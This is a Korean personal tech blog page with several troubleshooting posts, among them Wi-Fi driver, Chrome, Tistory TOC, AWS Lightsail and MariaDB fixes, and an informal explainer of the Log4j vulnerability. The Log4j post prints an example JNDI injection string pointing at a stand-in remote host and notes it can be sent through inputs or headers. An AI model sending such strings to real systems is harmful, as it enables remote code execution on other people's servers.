반응형

무선랜 증발 현상

 

나는 현재 ASUS TUF FA506IV 모델을 쓰고있다. 한 2년간 잘 쓰다가 요즘들어 WOL 기능을 이용하는데 네트워크가 자동으로 끊어지는 현상이 있어서 퇴근후 컴퓨터를 확인해보면.. 위 사진처럼 인터넷 연결이 끊어져있었다..

인터넷 아이콘을 눌러보면 위처럼... 아예 WIFI 무선랜 어댑터가 보이지 않았다.. 동시에 블루투스 어댑터도 없어졌다.. 참고로 WIFI와 블루투스 모듈 모두 리얼택 8822CE 한 장비에 모여있다. 즉.. 8822CE 어댑터와 통신이 이상하다는 얘기..! 

네트워크 목록에 들어가도 연결된 네트워크 목록들이 보이지 않는다..

어댑터 속성을 보면 "이 하드웨어 장치가 현재 컴퓨터에 연결되어 있지 않습니다" 라고 나온다..USB도 아니고 메인보드랑 직접 물려있는데 무슨소리야 ㅠㅠ

 

반응형

응급조치

이런 현상이 발생했을 땐 아주 일시적이라서 그냥 재부팅 2~5회 해보거나 혹은 무선랜 초기화를 진행하거나. 장치관리자에서 해당 무선랜 드라이버를 재설치하거나. 방법은 많았다. 걍 뭐 하지말고 몇번 재부팅해보면 돌아오곤한다.

 

발생 원인

간헐적 발생

처음엔..뭐야? 하고 재부팅하고 나니까 해결되기도 했다. 하지만 이증 상은 간헐적으로 하루에 한번? 아님 이틀에 한번씩 발생해 점점 미궁에 빠졌다. 장치관리자에서도 보면 지금은 정상적으로 위 어댑터가 찍히지만. 문제가 일어났을땐 장치관리자 어댑터 목록에도 안보이고 했다..

 

한달 반이라는 시간을 이 문제로 고생하면서 IT업 종사자답게 문제가 일어났을때 원인을 밝히기 위해 안해본 테스트가 없는것 같다. 가장 궁금한게 이게 랜덤한거냐..!? 아님 특정 행위를 할때 발생하는 거냐?! 궁금했는데 아직도 확실하게 밝혀내진 못했지만 경험상 아래 이유에 해당할 경우 발생확률이 가장 높았다.

 

1. 노트북의 전원 설정이 바뀌었을 때

벌써 한달전 일이라 구체적인 케이스가 딱! 생각나진 않지만, 전원 공급 프리셋이 바뀌었을때 아주 높은 확률로 어댑터가 없어졌다. 저 전원 관리 옵션을 내가 직접 바꾸는거 말고도 절전모드, 최대 절전모드가 될때 시스템이 자동으로 바꿔주기도하는데 이 시점에 어댑터 연결이 끊어졌던걸로 기억한다. 즉.. 가만히 하다가 왜 회사가서 WOL 할때 인터넷이 연결이 안되었을까 생각해보니. 절전모드로 연결될 시점에 이런 현상이 나타나는 것 같앗다.

 

그래서 나는 통신장교로 복무할 시절 야전에서 전원 공급이 불안정해지면 얼마나 많은 문제가 생기는지 익히 알고잇었기 때문에 전원 공급단에서 문제가 있는걸까 접지라인이 제대로 되어있는지도 확인해보고 ㅋㅋ 멀티탭에서 벽단자로 전기 선로를 바꿔보기도 해보고 ㅋㅋㅋ 진짜 온갖 테스트와 모니터링을 해봣지만, 전원 공급 자체에는 문제가 없었다. 

2. 게임 등 고성능 작업을 할 때

위에서 말했듯이 전원 관련 옵션이 바뀔때 높은 확률로 안된다고 햇는데..! 반대로 고성능 작업을 할때도 전원 프리셋이 고성능으로 바뀌기 마련이다. 이 케이스는 진짜 확률이 높았다. 왜 아냐면은.. 나는 퇴근하고 가끔 배틀필드1을 플레이하는데 배1 플레이 눌러놓고 로딩 기다리면서 유튜브 머 틀어놓을까 찾아보다가 딱 게임을보면!? 오프라인 모드라고 떠있는거다.

 

엥..?! 방금까지 인터넷하고 있었는데 겜키니까 무선랜이 끊겨!? 그래서 이 케이스가 기억이난다. 하지만 이것도 100%는 아니었다.한 80% 확률로 이 증상이 나타났고 위 1번과 종합해봤을때 분명..! 전원 옵션이 바뀔때 발생하는 것 같은데?

3. 7월 이후로 증상이 발생한다.

그리고 또 이상했던 것.. 2년 넘게 이런 문제가 없었다가.. 이번년도 7월 초부터 이런현상이 발생하기 시작했다는 것이다. 꼭 이런 케이스는 윈도우 업데이트가 한몫하는데.. 윈도우 업데이트 로그를 보니.. 이 시점 몇일전에 업데이트가 있긴 했다. 그래서 업데이트를 지워보기도 했으나.. 자동으로 다시 설치하더라... 맞다.. 평생 업데이트 안하면서 살 수도 없을 것 같고.. 윈도우 업뎃을 제거하느니.. 차라리 명확한 원인을 찾는게 나아보였다.

 

해결 방법

문제 원인에 전원이 연관된 것 같은데 그 이후로 유의미한 결과가 없었다. 지속해서 여러가지 키워드를 조합해서 구글에서 해외 커뮤니티 위주로 찾아보니 OS와 물리장치의 드라이버 호환성으로 발생하는 문제라고들 한다. 근데 생각해보니까 이전에도 내 PC에서 블루투스 연결이 되지않아서 결국은 윈도우 재설치 후 해결한적이 있었는데 이때도 같은 경우인 것 같다.. 블루투스+WIFI 같은 물리장비이기 때문에.. 이번엔 와이파이가 문제를 일으킨듯 하다.

 

이전 드라이버 설치

그러다가..! 어떤 해외 유저가 올린 구 버전의 드라이버를 한번 설치해보았는데..! 해결이 되었다..! 그 본문은 지금 검색해도 나오지가 않는데..! 다행히 그때 받았던 파일은 남아있다!

 

RTLWlanE_WindowsDriver_2023.56.0502.2017_DUA.L_저용량.7z
19.13MB

바로 2023.56.050 버전 파일!! 이거 설치하고 나는 해결되었다. 다른분들도 되실지는 모르겠지만.. 일단.. 드라이버 호환성 문제였다는 것.. 아마 특정 시점 윈도우 업데이트로인한 호환성 맞지않아 발생한 문제인 것 같다.

 

파일 업로드 용량이 20메가바이트 제한이 있어서 설치파일 내의 윈도우8.1 버전은 제외했다.. 윈7 32/64bit 윈10 32/64bit 은 포함되어있으니 잘 설치해서 해결되길 바란다.

 

[ASUS 노트북] WIFI 무선랜 어댑터 없어짐, 사라짐 해결하기 / Realtek 8822CE

반응형
  1. go1den_goose 2022.09.24 22:24 신고

    글 솜씨가 뛰어나시네요! 좋은 글 잘 보고 갑니다 다음에도 놀러올게요 :)

반응형

현상

유튜브 초고화질 영상(4K등) 재생시 먼가 끊겨..!

나는 LG 27UP850 4K 모니터를 사용하고있다. 유튜브로 4K 영상을 볼 일이 없어서 한번도 4K로 재생을 시도해본적이 없었던것 같다. 근데.. 오늘.. 4K영상 볼일이 있어 재생을 해봤는데.. 먼가.. 끊기는 느낌..? 중간중간? 버퍼링은 아니고 ..먼가 프레임 몇개가 비는 느낌??

 

처음에 주사율이 문제인가 했지만..주사율도 60Hz로 정상.. 그럼뭘까? 4K 대역폭을 네트워크가 견디지 못하는걸까? 했지만 나는 500MB인터넷을 쓰고있고.. fast.com 에서 측정해도 모든게 정상..

혹시나 크롬 시스템 설정에 하드웨어 가속옵션이 안켜져있나?라고.. 의심을 해보았으나.. 이것도 활성화 되어있었다.. 그럼 뭘까..?

 

원인

GPU 가속이 실제로 작동하지 않음

2K 이상의 초고화질 영상을 재생 할 경우 AV1 혹은 VP9코덱을 통해 인코딩/디코딩이 진행되는데 대게 지포스 RTX 그래픽카드를 사용하는 노트북에서 해당 코덱사용시 GPU 가속이 안되는 문제가 있다고 한다.

 

 

해결방법

크롬 ANGLE hraphics backend 옵션 D3D11on12 활성화

아래 주소를 크롬창에 입력후 엔터

chrome://flags/#use-angle

위 창에서 ANGLE hraphics backend 옵션이 Default로 되어있을텐데 D3D11on12로 변경 후 Restart 진행하면 4K 영상이 부드럽게 나오는 것을 확인 할 수 있다.

 

반응형
  1. 4k 안끊김 2022.10.01 21:24

    감사합니다. 4k 유튭 계속 끊겨서 그래픽 카드가 오래되서 그러가하고 새로 바꿨는데도 똑같아서 빡쳐있었는데, 교체 전에 이 글을 봤으면 ㅠㅠ
    아무튼 덕분에 4k 영상 잘 보게 됐습니다. 감사합니다.

반응형

TOC란?

Table of Contents로써 책 첫장에서 볼 수 있는 차례/목차와 같은 개념이다.
포스팅에 TOC를 적용한다는 것은, 해당 포스팅이 어떤 내용들이 있구나라는 목차를 대략 알 수 있으며, 추가적으로 해당 목차를 누르면 해당 문단으로 이동하거나, 스크롤을 내릴때 현재 어떤 내용을 보고 있는지 알려주기도 한다.
단, 마크다운으로 작성된 포스팅이어야한다.

https://extsdd.tistory.com/404

 

[거제/통영 여행 #8] 통영 신축 오션뷰 바라봄 펜션 - 가성비 최강 / 202호 원룸족욕

통영에서 숙소를 알아보다.. 대부분.. 가격이나 숙소질을 고려했을때 ..맘에 드는 곳이 없어서... 진짜 하루종일 뒤지다 겨우 타협본곳.. 바라봄 펜션..! 이름은 올드했지만 신축 펜션이었다. 우리

extsdd.tistory.com

내용만들으면 잘 이해가 안가는데 내가 작성했던 포스팅을 보면 직관적으로 알 수 있을 것이다. 위 포스팅을 눌러보자.

포스팅을 보면 우측에 목차가 나오는 것을 볼 수 있다. 스크롤도 내려보면 현재 위치에 따라 녹색바로 하이라이팅이 된다. 독자 입장에선 정보를 찾으러 포스트를 보러온 경우가 많은데, TOC가 적용되어 있으면 내가 보려는 목차로 바로 이동해서 볼수도 있고 해당 포스트가 어떤 내용을 담고 있는지도 대략적으로 알 수 있다.

1. Head 추가

스킨편집 이동



먼저 티스토리 관리자 화면 좌측에서 꾸미기>스킨 편집으로 들어가주자.

html 편집

html 편집을 눌러주자.

스크립트 태그 추가

태그 안에 아래 스크립트 태그를 추가하자. head 태그 안에 어디다 넣지..!? 고민 하는.. 비전공자 분들은 걍 바로 위에 적는 것을 추천한다.

<!-- TOC 추가 -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/tocbot/4.11.1/tocbot.min.js"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/tocbot/4.11.1/tocbot.css">
<!-- TOC 끝 -->

2. div 추가

이제 toc가 추가될 공간을 추가해야한다.

위에서 추가했던태그를지나 밑으로 계속내리면태그가 시작되는데 body 태그 내부를 보면 content가 표시되는 영역이 있다. 일단 스킨마다 태그 구조가 다름으로 나랑 다를 수가 있지만. 대충 크롬 개발자 도구로 뒤져보면 어디다 넣어야할지 감이 올것이다. 걍 Content가 시작되는 곳쯤에 추가하면 된다. 나는 Square 스킨을 사용하고 있는데 이 스킨을 사용하는 사람들은 아마 위와같은 모습일 것이다.

아래에 아래 코드를 추가해주자.

<div class='toc'></div>

3. 스크립트 추가

요기서부터 좀 중요하다. 실제 content가 있는 영역을 인식해서 toc 영역에 목차를 뿌려주는데 코드를 보면 알겠지만 컨텐츠 태그 안에있는 h1~h3 태그를 자동으로 인식해서 띄어주는 것이다. 아마 다른 포스팅에서 toc 적용을 보고 그대로 따라서 추가하면 안되는 경우가 많은데 스킨마다 content 영역 클래스명이 다르기 때문이다.

일단 맨 아래로 내려보면 body 태그가 끝나는 태그를 볼 수 있는데 요기 바로 윗칸에 아래 코드를 추가해준다. 여기서 중요한점이 위 사진에서 형광녹색으로 하이라이팅한 document.querySelector와 아래 contentSelector 를 보면 .article 로 되어있는 걸 볼 수 있다. 이게 바로 content영역의 클래스 명이다. 나 같은 경우 클래스 명이 aticle인 태그를 찾아  태그 안에있는 h1~h3 태그 정보를 끌어와 띄어주는 것이다.

<script>
  var content = document.querySelector('.article')
  var headings = content.querySelectorAll('h1, h2, h3, h4, h5, h6, h7')
  var headingMap = {}

  Array.prototype.forEach.call(headings, function (heading) {
      var id = heading.id ? heading.id : heading.textContent.trim().toLowerCase()
                 .split(' ').join('-').replace(/[\!\@\#\$\%\^\&\*\(\):]/ig, '')
      headingMap[id] = !isNaN(headingMap[id]) ? ++headingMap[id] : 0
      if (headingMap[id]) {
        heading.id = id + '-' + headingMap[id]
      } else {
        heading.id = id
      }
    })

  tocbot.init({
    tocSelector: '.toc',
    contentSelector: '.article', 
    headingSelector:'h1, h2, h3',
    hasInnerContainers: false
  });

  $(document).ready(function(){
    $('.toc').addClass('toc-absolute');

    var toc_top = $('.toc').offset().top - 165;
    $(window).scroll(function() {
      if ($(this).scrollTop() >= toc_top) {
        $('.toc').addClass('toc-fixed');
        $('.toc').removeClass('toc-absolute');
      } else {
        $('.toc').addClass('toc-absolute');
        $('.toc').removeClass('toc-fixed');
      }
    });
  });

</script>

content 태그의 class 명을 모르는 경우?

나처럼 square 스킨을 쓰면 아마 위처럼 쓰면 되겠지만 다른 스킨을 사용하는 사람들은 자신의 content를 띄어주는 태그의 클래스명이 뭔지 알아내서 바꿔주면 된다. 아마 다른 포스팅보고 안된다고 한사람들은 아마 코드는 비슷할텐데 저기 나와있는 contentSelector 의 클래스명이 일치하지 않아서일 것이다.

나의 경우 content 영역이 article 클래스를 사용하고 있는데 아마 다른 스킨을 쓰는 사람들은 사용하는 클래스명이 이게 아닐 수도 있다. 하지만 ##_notice_rep_desc_## 을 검색해보고, 이 태그를 감싸고있는 상위 태그의 클래스명을 적어주면 된다. ##_notice_rep_desc_## 는 티스토리 블로그에서 사용하는 공통 치환자이기 때문에 스킨이 달라도 이 태그가 있을 가능성이 매우 높다.

4. CSS 추가

상단에서 CSS 탭으로 이동 후 아래 코드를 상단 적당한 공간에 추가해주자. @import 이런 구문들 밑이면 적당할 꺼같다.

/*
* TOC
*/
.toc-absolute {
  position: absolute;
  margin-top:165px;
}
.toc-fixed {
  position: fixed;
  top: 165px;
}

.toc {
  left: 1350px;
  width: 250px;
  padding: 10px;
  box-sizing: border-box;
}

.toc-list {
  margin-top: 10px !important;
  font-size: 0.9em;
}

.toc > .toc-list li {
  margin-bottom: 10px;
}

.toc > .toc-list li:last-child {
  margin-bottom: 0;
}

.toc > .toc-list li a {
  text-decoration: none;
}

그리고 마지막으로 적용을 눌러주자.

5. 적용 확인

자신의 포스팅중 마크다운으로 작성된(h1~h3 태그가 사용된 글)을 눌러보면 좌측에 TOC가 적용된 것을 확인 할 수 있다.

반응형
반응형

현상

어느날.. 서버설정을 조금 만지고 서버를 재부팅했는데.. AWS 콘솔 접속이 안되는것이다....허걱

오류가 발생하여 인스턴스에 연결하거나 연결 상태를 유지할 수 없습니다. 이 인스턴스가 방금 시작된 경우 1~2분 후에 다시 시도하십시오. UPSTEAM_NOT_FOUND [519]

콘솔 접속 할 경우 위와같은 메시지와 함께 콘솔접속이 안되는 상황.. 1~2분 기다려보래서 10분을 기다려도 연결 할 수 없었다.

반응형

 

해결 방법

중지 > 실행

해결방법은 생각보다 간단했다.. 나는 계속 재부팅을 눌러 재부팅하만을 기다렸는데.. 재부팅으로 하면 안된다... 먼저 서버 콘솔에서 중지 명령을 먼저 해주고 인스턴스가 중지됨을 확인하고 다시 시작을 누른다.

 

사실 재부팅이 중지>시작을 합쳐놓은거지만 인스턴스에서 처리되는 것은 세부적으로 차이가 있다. 따라서, 재부팅 시도하지말고 중지와 시작을 나눠서 수행하면 정상 연결 되는 것을 볼 수 있다.

 

AWS 라이트세일 UPSTREAM_NOT_FOUND[519] 해결하기 / LightSail 콘솔 접속 안됨 문제 해결

반응형
반응형

이번에는 마리아DB SQL 조회시 담은공간이 없다고 뜨는 Disk Full 문제를 해결해보는 포스팅이다.

 

현상

어느날 개인적으로 운영하고 있는 서비스의 유입 사용자가 한자리 수 단위로 급감하여 서비스를 확인해보니.. 서버가 다운됐다… 정확히 말하자면 톰캣서버가 다운되진 않았고 서비스들을 점검해보니 DB를 타는 서비스들만 오류가 발생했다.

과거에도 비슷한 사례가 있었다. 그때는 로그성 테이블이 있었는데, 요기가 테이블의 최대치까지 차버려서 문제가 되었는데, 이번에도 그건가 해서 SELECT SQL을 돌려보니 위와 같은 오류가 발생했다.

 

💡 SQL 오류 (1021): Disk full (/tmp/#sql_258e0d_0.MAI); waiting for someone to free some space… (errno: 28 “No space left on device”)

 

원인

해당 오류는 DB가 동작하면서 필요한 임시데이터를 tmp 이하 경로에 적재하여 사용하는데 디스크 용량부족으로 임시 데이터 생성조차 되지 않아 발생한 오류였다.

디스크 용량은 왜 부족해진거야?

예전에는 비슷한 케이스로는 실제로 테이블에 row가 수십이었나, 수백만건이 쌓야 순수 row 행수로 데이터가 꽉차 서버 DB의 용량만으로 디스크 공간이 꽉차 문제가 발생했었다.

 

이럴 경우 DBMS 관리툴로 (난 HeidiSQL 을 사용한다) 문제가 있을법한 테이블을 보면 비 이상적으로 많은 로우가 나타나거나 빨갛게 문제가 있다고 나오기때문에 DELETE 로 지워주던지하면 된다.

 

하지만 이번 케이스의 경우는 DB때문에 용량이 꽉 찬 케이스가 아니었다..그렇다면.. 의심되는 것은…!?

 

정답은 WAS 로그 때문..

하기 명령어로 서버의 디스크 사용현황을 한번 확인해 보았다.

df -h

홀리씟 일단 디스크를 모두 사용하고 있는건 realFact 로 확인되었다.. 어 ? 그럼 데이터가 대량 생성될껀 DB의 log 테이블이 아니라면… 혹시나 WAS로그..?

반응형

먼가 생각해보니…보통 3개월의 log를 로컬 서버에 저장해둘텐데.. 나는 그 설정은 해두지 않았다…따로 설정하지 않았다면…제작년부터 운영하던 모든 로그가 남아있을텐데 이것때문인가??

허걱.. 바이트 단위가 바로 GB로 환산되진 않았지만 대략… 내 서버 디스크가 40GB 짜리니까… 앞에 34면 대략 34기가가 아닐까 생각이 들었다.

 

해결

허걱… 역시는..역시였다… 대략 로그파일이 35기가가 쌓여..서버 디스크에 공간이 없었던것.. 그래서 MariaDB에서 쿼리 명령 실행하는데도 DBMS단에서 사용하는 임시데이터 생성할 공간도 없어…이지경이 되었던것.. 위 파일들은 필요없어서 일단 다 삭제했다..

 

사실.. 간단한 경량 서비스라.. 로깅 레벨이나, 보존기간을 설정해두지 않았는데.. 이번에 새삼.. 로깅관리도 중요하구나 생각이 들었다..

 

파일 삭제를 했지만. 아직도 서버에스는 디스크 용량을 100%사용으로 잡고있었다. 아마.. 파일을 가르키는 주소값만 없어지고 Free 된 내용이 반영된 것 같지않아 깔끔하게 서버 재부팅을 했다.

허걱..라이트 세일 재부팅을 했는데.. 계속 터미널이 붙지 않아서 식겁했지만.. 재부팅말고 중지>시작 단계로 구분하여 리부팅 시도하니 정상적으로 터미널이 붙었다.

그 후 디스크 상태를 확인하니 정상적인 디스크 사용량으로 변해있었다. 후.. 이후 모든 서비스들을 다시 부팅하고 서버 복구 완료..!

결론

💡 서버에서 공간을 많이 차지하고 있는 파일을 삭제해라!

반응형
반응형

2021년 12월 10일 Log4j 취약점 발견

12월 10일 Log4j 취약점이 공개되었다. 나는 해당 이슈를 뉴스를 통해 토요일날 처음 접했다. 보자마자 생각들었던게, 어? 내 시스템들에도 Log4j 라이브러리를 쓸텐데..? 문제 없는건가? 그리고... 나뿐만 아니라 국내며 해외며.. java 기반 시스템에선 엄청 많이 사용하고 있을텐데???.. 라는 생각이 들었다.

log4j 란?

log4j라는 라이브러리에서 취약점이 발견되었다. log4j 는 java 기반 시스템에서 쓰이는 logging library 로써 굉장히 광범위하게 쓰이는 로깅 라이브러리다. 전세계적으로 굉장히 보편화되어있고 많은 시스템에서 사용중이고 심지어 내가 운영중인 웹사이트도 해당 라이브러리를 사용하고있었기에 관심이 컸다.

log4j에 어떤 취약점이? lookups 과 JDNI

log4j 에 어떤 취약점이 있어서 해당 문제가 발생한걸까? log4j 라이브러리로 로그를 찍을때 기존 println 함수로 쌩으로 찍는게 아닌 log.debug("log : {}", param); 형태로 찍게 된다. {}를 이용해 포맷을 만들고 param 데이터를 매핑하는 식인거다, 그래서 로그가 가독성있게 출력되는게 강점인 라이브러리다. 근데 여기서 어떤게 문제가 되었을까?

 

해당 원리를 조금 응용하면 Lookups 기능을 이용해 신박한짓을 할 수 있다. Lookups 기능을 보면 로깅 포맷에서 구문을 실행한 결과를 출력할 수 있는 기능이다. 예를들면 log.debug("log : {docker:containerName}") 라고 찍으면 docker:containerName 구문의 실행 결과가 결과로 찍힌다. 도커 컨테이너의 이름이 happyDocker 였다면 "log : happyDocker" 가 로그로 찍히도록 하는 기능인거다. 이정도 하면 감이 왔을까..? logging 처리 과정에서 구문이 실행 된다는 점..!

 

오 그럼, 머 원하는 구문 넣어서 머 서버의 환경은 어떻게 되어있고 로그로 찍을 수 있겠네? 라고 할 수 있지만, 사실 공격자 입장에서 서버로그에 자기가 원하는걸 남겨봤자 어차피 서버로그에는 접근하지 못하기때문에 큰 의미가 없다. 그래서 공격자들이 여기서 끝낼까? 아니다, lookups을 응용해 JNDI를 이용해서 공격이 가능하다.

 

JNDI(Java Naming and Directorry Interface) 는 API를 호출해 자원이나 다른프로그램의 객체를 찾는데 이용한다. 통상 다른 분산된 환경에서 다른 자원을 가지고와 사용할 수 있는 기능이다. 딱 여기까지 읽었을 땐 감이 안오지만, 다른 시스템에서 자원을 가지고와 사용할 수 있다..? 여길 잘 읽어보면 앗! 싶을꺼다. 왜냐면 공격자 서버에 있는 자원을 요청해서 실행할 수 있기 때문이다.

 

만약 아까처럼 매핑되는 로그내용에 ${jndi:ldap://remote.com/resource} 이게 파라미터로 들어가면 저 스트링이 그대로 찍히는게 아니라 룩업 명령에 의해서 jndi 이하 구문이 해당 서버에서 실행되어버린다.

 

당장 어떻게 실행할까 고민해볼것도 없다, 대부분의 파라미터들의 상호작용이 로깅되기 때문에 머 어떤 시스템에선 걍 검색창에만 명령어를 써도 로깅과정에서 손쉽게 실행될 수 있다. 더 간단한건 GET POST 명령에 담아서 쏠수도 있고 http header에 정보를 담아 공격 할 수도있다.

이번 취약점이 유독 최악인 이유? RCE(Remote Code Execution)

오케이 지금까지 log4j 라이브러리를 사용하면서 어떤식으로 공격이 가능한지 한번 간단하게 살펴봤다. 근데 왜 이걸 인터넷역사 근 10년에 최악의 취약점이라고 하는걸까? 바로 RCE가 가능하기 때문이다. 즉 원격지에서 공격자가 원하는 코드가 실행될 수 있다는 점이다.

 

간단하게 예를들자면 내가 구글 검색창에 내가 실행할 코드를 써서 검색버튼을 누르면 검색창에 쓰여짐 코드들이 구글 서버에서 실행된다. 여태까지 보편적인 해킹 기법들은 머가있었는가? 야금 야금 낚시질 하듯이 장난좀 쳐놓고 걸려들면 관리자 권한을 가진 계정을 탈취하여 root 권한을 얻거나 머 이런게 주로 알려진 친구들이었다. 어떻게 말하면 노가다성도 짙어서 노력파라고 볼 수도 있다.

 

기존에 발견되었던 최악의 취약점이라고 불리는 하트블리드도 개인적으로 느끼기엔 이정도 화끈함은 아니었다. 오버플로된 메모리에서 유의미한 데이터가 나올때까지 살짝 노가다도 필요했기 때문에 표현하자면 창과 도끼를 들고 성벽을 힘겹게 타고 올라가 함락하는 딱 이런그림이었다.

 

마지막으로 가장 최악인점은, 한 독립된 소프트웨어의 취약점이 아니라는거다. 무슨말이냐, 내가 만든 짱짱짱프로그램에 취약점이 있으면 이 짱짱짱 프로그램사용에만 문제가 생긴다. 근데... 이번건은 특정 소프트웨어 문제가 아니라... 전세계 많은 소프트웨어에 들어가 있는 라이브러리에 문제가 생긴터라.... 해당 취약점을 이용해서 log4j를 사용하는 모든 소프트웨어를 공격 할 수 있다는 것이다.

 

그렇다 log4j 취약점은 차원이 다르다, 걍 내가 짠 명령어를 전세계 어떤 시스템이든(log4j를 사용하는..) 원격으로 실행시킬 수 있다? 이정도 되면 왜 언론에서 최악 최악 하는지 감이 올 것이다.

제로데이(Zero-Day) 취약점

아..예전에 개념으로만 배우던 제로데이가 이런거구나 싶었다 ㅋㅋ.. 제로데이란 취약점이 공개되고 해당 취약점을 해결할 보안 패치가 나오기 전까지 공격자들로부터 무방비한 상태를 말한다. 공개된 취약점을 이용해 공격을 수행하면 이게바로 제로데이 취약점 공격이다.

 

맞다 큰 이벤트였다. 아마, 나 말고도 주말에 IT 인력들이었으면 이거에 대응하느라 정신이 없었을 것이다 다들 ㅎㅎ... 어차피 이거 보도됐을때는 보안패치가 안나왔던터라 머 현황조사 정도 했을테지만..다들 수고가 많았다.

2021년 12월 11일 한국인터넷진흥원 KISA 보안 업데이트 권고 발표

제로데이 하루가 지났을까, KISA에서 이번에 문제된 Apache Log4j의 보안 업데이트를 권고했다. 내용 요약하자면 Log4j / Log4j2 를 사용하는 유저들은 jot 됐다. 신속히 해결해라..!! 정도 되겠다.

해결방법 : JndiLookup 사용하지 마라!!

해결 방법 엄청 간단한다. JndiLookup 사용하지 말아라이다. log4j 버전에따라 조치방법이 다른데 2.0-beta9 ~2.10.0 버전은 걍 JndiLookup 클레스를 걍 삭제 ㅋㅋㅋㅋㅋㅋㅋㅋ무슨 여드름 압출하듯이 걍 삭제하라니 ㅋㅋㅋㅋㅋㅋㅋ참 와닿는다.

 

만약 2.10~2.14.1 버전을사용할 경우 log4j2.formatMsgNoLookups 나 LOG4J_FORMAT_MSG_NO_LOOKUPS 의 환경변수를 true로 사용해서 못쓰게 하기! 이건 그래도 신사적이다.

 

그리고 만약 log4j 가 아닌 유사한 라이브러리가 쓰였다면 log4j-core 의존성만 없으면 된다고 한다.

 

그외에 보안 업데이트 권고를 보면 공격이 있었는지 탐지하는 방법도 넣어놨다. log4j로 검색해서 이상 로그가 있는지 보면 된단다.

이 KISA의 권고는 오늘까지 약 20만명의 IT인력들이 열람했다 ㅋㅋㅋㅋ log4j2 많이도 쓰나보구나 ㅋㅋㅋㅋㅋㅋㅋㅋㅋ 생각했다.

이 혼란속에서 나는 뭘 했을까?

결국 주말에 전사차원에서 각 시스템별 log4j 사용 유무, 사용 버전 등에 대한 현황을 조사했다. 일단 현황조사 해야한다고 전달받자마자 카톡방에서 메인시스템은 사용하는 것 같고, 스프링부트 기반인 서브시스템들도 사용될 것으로 예상된다. 정확한 버전이 멀 쓰는지는 확인해봐야한다 이정도 초벌로 정리해서 전달했다.

 

그리고 본격적으로 원격 붙어서 아....하........후............하.....................한숨 푹쉬고 현황조사를 시작했다. 머 메인시스템같은 경우에는 코드단을 하도 많이 보니까 딱 머리에 있었는데 서브시스템이나 레거시 시스템들의 경우 코드수정이 많이 없다보니 어떤 로깅 라이브러리를 쓰는지 알 수 없었다. 심지어 너무 오래된 시스템은 이거... 로깅은 하긴 하는걸까..? 라는생각도 잠깐 들었다. 일단 생각나는 시스템부터 SVN 소스를 뒤져서 현황을 파악했다.

 

(몇분후..)

 

엇? ...!! 아니...!? 일단 내가 운영하는 메인시스템, 서브시스템, 레거시시스템 전부 log4j를 안쓰네!??!?!?!?!?!??! 뭐지!? 분명 메인시스템은 log4j를 확실히 사용했었는데? 먼가 이상했다.

log4jdbc-remix(SLF4J)

엇.. 메인시스템이 log4j가 아니고 log4jdbc-remix였다. 아.. 내가 지금까지 난독이었구나.. ㅋㅋㅋ j까지만 읽고 뒤는... 안읽었었나보네.. 그렇다 ..log4j는 확실히 많이 봤었기 때문에 당연히 쓸꺼라고 생각했는데 log4jdbc-remix였다. 게다가 KISA에서 권고한 버전이랑도 아예 꼴 자체가 틀려...! 이건 딴 라이브러리야!!

맞다 해당 라이브러리의 의존성을 보니 SLF4J 추상체를 이용하여 만들어진 라이브러리다. 때문에 log4j와 머 비슷한친구긴 하지만, log4j는 아니기때문에 영향범위가 아니었다. 해당 라이브러리 공식 사이트에서 소스를 확인해보니 slf4 추상체만 쓰였을 뿐 log4j-core에 대한 의존성은 없었다. 야호..! 했지만................와.. 무슨 로깅 라이브러리를 2011년껄 쓰고있네.........한편으론 슬펐다...전자정부프레임워크 기반은 ㄹㅇ 불지옥이구나 한번더 느꼈다.

Logback (SLF4J)

java로된 시스템중에 메인시스템은 일단락됐고 서브시스템도 걱정됐다. 아 스프링부트라 먼가 log4j 있을꺼같아.... 하면서 확인해보니 logback 라이브러리를 사용하고 있었다.

logback 의 라이브러리 의존성을 보니 log4jdbc-remix와 동일하게 slf4j 추상체를 이용하여 구현했다. 위에 logback-core도 확인해보니 log4j-core에 관련된 의존성은 없었다. 결국 이친구도 영향범위 밖!! 의외였다. 이 작은 서브시스템이... 비교적 최신기술이고...가장 중요한 시스템은....후..........................기쁨반 슬픔 반 이었다.

번외, 보안 강국 대한민국! (feat, 전자정부프레임워크)

이짤도 웃음반 슬픔반이다. ㅋㅋㅋㅋㅋㅋㅋ 나도 첨에보고 엄청 웃었다 ㅋㅋㅋㅋㅋㅋㅋㅋ와 어떻게 저러냐?ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ했는데 ㄹㅇ ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ2012년에 단종된 log4jdbc를 쓰는게 내 시스템이었다니 ㅋㅋㅋㅋㅋ맞다 내 시스템도 전자정부프레임워크 기반이다 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ엌ㅋㅋㅋㅋㅋㅋㅋ

 

나말고도 전자정부프레임워크 기반인 공공기관이나 공기업 같은 분들도 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ와,! 우리 jot 됐다 !!! 하고 찾아보다가 엇.. 저희.. 2012년에 단종된 로깅 라이브러리라... 영향범위 밖입니다 ㅎㅎ 헤헤....이럴 사람들이 많다고 생각하니 좀 웃겼다 ㅋㅋㅋㅋ 이번 대한민국 보안은 전자정부프레임워크가 살렸다!!!

 

후.. 짧게 한 15분 쓰고 자려했는데 .. 결국 이렇게 길어졌다.. 먼가 실제 운영하면서 발생한 보안위협이기도하고, 흥미로웠던 취약점이기도해서 이렇게 길게 쓴 것 같다 ㅋㅋㅋ 보안 공부하는 새내기분들에게 좋은 경험담이 되었으면 좋겠다

 

반응형
반응형

보통 나는 특별히 어디 여행갈때 들고 다니는 경우를 제외하면 이렇게 고정하고 쓴다. 그런데 최근에 문제가 발생했다.. 잠자려는데.. 절전모드가 되서 모니터랑 유선키보드 조명도 다 꺼졌는데 천장에 빛이 깜빡깜빡 거렸다..

